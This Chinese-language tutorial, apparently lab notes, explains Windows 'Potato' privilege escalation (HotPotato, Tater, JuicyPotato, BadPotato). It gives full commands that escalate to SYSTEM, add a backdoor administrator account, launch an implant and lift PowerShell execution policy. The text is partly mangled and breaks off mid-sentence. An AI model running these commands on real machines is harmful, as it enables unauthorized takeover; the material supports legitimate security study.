土豆提权
土豆提权
概述
工具 | 提权原理 | 适配系统版本 | 是否依赖网络 |
---|---|---|---|
Hot Potato | NTLM 中继 | Windows 7/8/10(早期版本) / Server 2008/2012 | 是 |
Tater | NTLM 中继(改进版) | Windows 7 / Server 2008/2012 | 是 |
JuicyPotato | COM 对象 Token 劫持 | Windows 7 / Server 2008/2016 | 否 |
SweetPotato | 改进的 COM Token 劫持 | Windows 10 / Server 2016/2019(部分) | 否 |
RoguePotato | RPC + COM Token 劫持 | Windows 10 / Server 2019 | 否 |
PrintSpoofer | Print Spooler 服务漏洞 | Windows 10 / Server 2019 | 否 |
Rotten Potato |
Hot Potato (2016)
- 背景: Hot Potato 是最早的 “Potato” 系列工具之一,由 Casey Smith 等人开发,基于当时 Windows 系统中存在的 NTLM 中继攻击技术
- 核心原理: 通过劫持本地网络流量,利用 DNS 欺骗和 NTLM 身份验证请求中继,将 SYSTEM 权限的服务身份验证请求重定向到攻击者控制的恶意服务
- 支持版本: Windows 7/8/10(早期版本) / Server 2008/2012
Tater (2016)
- 背景: Tater 是 Hot Potato 的改进版本,由 FoxGlove Security 推出。它修复了一些 Hot Potato 的运行稳定性问题
- 改进点:
- 增强兼容性,支持更多的 Windows 系统
- 提高攻击稳定性,减少因环境差异导致的失败
- 支持版本: 与 Hot Potato 类似,但适配性更强
JuicyPotato (2018)
- 背景: JuicyPotato 是 Potato 家族中最知名的工具之一,由
@_decoder
和Gabetm
发布。它脱离了 NTLM 中继的原始思路,改用 Windows COM 组件和 Token Manipulation 漏洞进行提权 - 核心原理:
- 利用 Windows COM 服务(如 DCOM 或 BITS)
- 请求 SYSTEM 权限的 COM 对象
- 劫持令牌执行代码
- 支持版本:
- 背景: JuicyPotato 是 Potato 家族中最知名的工具之一,由
SweetPotato (2019)
- 背景: SweetPotato 是 JuicyPotato 的改进版本,针对 JuicyPotato 在某些系统上失效的问题进行了优化。
- 改进点: 支持 Windows 10 和 Windows Server 2019(部分版本)
- 增加对不同 COM 接口的利用(例如 PrintNotify)
- 支持版本: Windows 10(部分早期版本)Windows Server 2016/2019(特定版本)
Windows 用户
Local System - NT AUTHORITY\SYSTEM
:Windows 操作系统中权限最高的内置账户,也称为本地系统账户。它对本地计算机拥有完全的控制权,可以执行任何操作,包括访问系统的所有资源、安装和卸载程序、修改系统设置等。通常用于运行系统关键服务和进程,如 Windows 操作系统的核心组件、系统服务等。这些服务需要最高的权限来确保系统的正常运行和稳定性。
Network Service - NT AUTHORITY\Network Service
: 该账户是用于运行网络相关服务的内置账户,具有一定的网络访问权限,但权限相对较低。它在网络环境中以匿名身份运行,无法直接访问本地计算机的用户资源。主要用于运行一些需要网络访问权限的服务,如 IIS(Internet Information Services)、SQL Server 等。这些服务需要与网络中的其他计算机进行通信,但不需要访问本地用户的敏感信息。
Local Service - NT AUTHORITY\Local Service
:此账户是用于运行本地服务的内置账户,具有有限的本地系统权限,无法直接访问网络资源。它主要用于运行一些不需要网络访问权限的本地服务,如 Windows Time 服务、Print Spoofer 服务等。
在实际渗透过程中,拿到 webshell ,用户权限是 IIS 或者 apache,或sqlserver用户执行 xp_cmdshell,此时拿到的服务账户在进行操作时是低权限账户,可以尝试使用提权手法获取更高的权限。
利用前提
除了 HotPotato 没有权限要求外,利用 Potato 提权的前提是拥有 SeImpersonatePrivilege(身份验证后模拟客户端)
或 SeAssignPrimaryTokenPrivilege(替换一个进程级令牌)
权限
以下用户拥有 SeImpersonatePrivilege(身份验证后模拟客户端) 权限(而只有更高权限的账户比如 SYSTEM 才有 SeAssignPrimaryTokenPrivilege(替换一个进程级令牌) 权限):
Administrator(管理Windows计算机的内置管理员账户)
``Local Service 本地服务账户`
Network Service 网络服务用户
该用户起的进程有如下这些:
- WMI
- RPC
NT AUTHORITY\SYSTEM
该用户起的进程有如下这些:
- 服务控制管理器 SCM
- 打印机服务 Print Spooler
Administrator
SCM
WMI
RPC(Remote Procedure Call)远程过程调用
RPC 服务通常运行在托管服务的通用 Windows 进程 svchost.exe 中。
svchost.exe
是一个系统核心进程,负责托管和运行基于 DLL 的服务。多个服务通常共用同一个 svchost.exe 实例可以使用
tasklist /svc
命令查看每个svchost.exe
实例中托管的服务tasklist /svc | findstr RpcSs
通过上述命令可以列出 RpcSs 对应的
svchost.exe
Print Spooler
PS:本机测试时即使在本地策略中授予管理员组普通用户 SeImpersonatePrivilege 特权,在 cmd.exe 中 whoami /priv 也不显示该特权,且无法利用;而 SeAssignPrimaryTokenPrivilege 特权则可以正常授予普通用户。
查询本地管理员组用户:
Get-LocalGroupMember -Group "Administrators"
net localgroup Administrators
管理员组的 Administrator 用户是内置账户, 权限比组内的其他用户更多
HotPotato
Hot Potato – Windows Privilege Escalation / @breenmachine
015. Hot Potato | Windows Privilege Escalation / root@kali / Youtube
HotPotato 利用 Windows 中的已知问题在默认配置中获得本地权限提升
已知问题 -> NTLM 中继(特别是 HTTP->SMB 中继)和 NBNS 欺骗
攻击者可以在安装了Windows操作系统的工作站中将自己的低权限提升至NT AUTHORITY\SYSTEM
影响范围
Windows 7、8、10、Server 2008 和 Server 2012
原理
HotPotato 利用 Windows 中的NTLM 中继(特别是 HTTP->SMB 中继)和 NBNS 欺骗在默认配置中获得本地权限提升
攻击者可以在安装了Windows操作系统的工作站中将自己的低权限提升至NT AUTHORITY\SYSTEM
利用过程
PS: 利用前先打快照,否则可能导致后续其他提权方案用不起来, 比如 Tater
clone HotPotato仓库 到靶机,进入 source\Potato\Potato\bin\Release
目录可以看到 Potato.exe
准备一个上线马执行如下命令
Potato.exe -ip [本机ip] -cmd "命令行(可执行程序路径)" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
或者尝试新建一个用户:
Potato.exe -ip 192.168.198.135 -disable_exhaust true -cmd "C:\Windows\System32\cmd.exe /K net user test 123.com /add && net localgroup administrators test /add"
Tater
利用过程
需要注意的是如果机子尝试了 Hotpotato 提权, 那么可能导致 Tater 这里提权失败 尝试前先打快照,避免影响其他用例
Clone Tater / Kevin-Robertson / Github 到本地,打开 powershell 并 cd 到项目根目录, 或者单独把 Tater.ps1
取出来也是一样的
# 加载 Tater.ps1
Import-Module ./Tater.ps1
## 或者用 . ./Tater.ps1 也可以
Windows 7 使用 trigger 1 (NBNS WPAD Bruteforce + Windows Defender Signature Updates)
net localgroup administrators
. .\Tater.ps1
Invoke-Tater -Command "net user tatertest testpass /add && net localgroup administrators tatertest /add"
net localgroup administrators
PS: 如果报错禁止执行脚本的话需要设置下 ExecutionPolicy
# (需要管理员权限) Set-ExecutionPolicy Unrestricted -force # (不需要管理员权限) Set-ExecutionPolicy Unrestricted -Scope CurrentUser
Windows 10 using trigger 2 (WebClient Service + Scheduled Task)
New Windows10 Trigger #2 / github.com/Kevin-Robertson/Tater/issue
net localgroup administrators
. .\Tater.ps1
## 如果上一步执行报错则执行此命令,否则跳过
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
Invoke-Tater -Command "net user tatertest testpass /add && net localgroup administrators tatertest /add" -trigger 2
net localgroup administrators
TODO: 可能是系统版本太高了没成功, 这里需要一个成功的图
Windows 7 using trigger 1 and UDP port exhaustion
# 加载 Tater.ps1 脚本。
. .\Tater.ps1
# 如果加载 Tater.ps1 时出错,请运行 Set-ExecutionPolicy 命令以解除限制。
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 检查当前本地管理员组的成员。
net localgroup administrators
# 使用 Invoke-Tater 添加一个新用户 'tatertest',密码为 'testpass',并将该用户添加到本地管理员组。
Invoke-Tater -Command "net user tatertest testpass /add && net localgroup administrators tatertest /add" -exhaustudp y
#Invoke-Tater -Command "net user tatertest2 testpass /add && net localgroup administrators tatertest /add" -exhaustudp y
net localgroup administrators
BadPotato
BadPotato / BeichenDream / Github
目标系统
- Windows 2012-2019
- Windows 8-10
效果图:
通过 Printer Bug 利用SpoolSample,打印机窃取system Token,使用 Print Spooler 服务公开的函数 RpcRemoteFindFirstPrinterChangeNotificationEx 向打印客户端发送更改通知,通知通过RPC匿名管道, RPC 接口是通过命名管道公开的:``\.\pipe\spoolss的正常情况下UNC路径会被占用使用\进行分割,使用/通过路径验证检查比如
\DESKTOP-ASD29\abc\pipe\spoolss被使用验证路径失败改为
\DESKTOP-ASD29/pipe/abc则会自动转换为
\\DESKTOP-ASD29\pipe\abc\pipe\spoolss` 转为一个新有效的路径并绕过路径检查获取SpoolSample系统Token获取模拟令牌进行提权。
使用方法
clone BadPotato 仓库源码 到本地使用 VisualStudio 打开项目并生成可执行程序
提示缺失 .NETFramework 4.0 开发工具包的话可以参阅 此方式 解决
然后在项目目录 bin/Debug
中可以看到生成的 exe 文件:
将文件复制到靶机执行 BadPotato.exe [命令行]
即可使用,例如: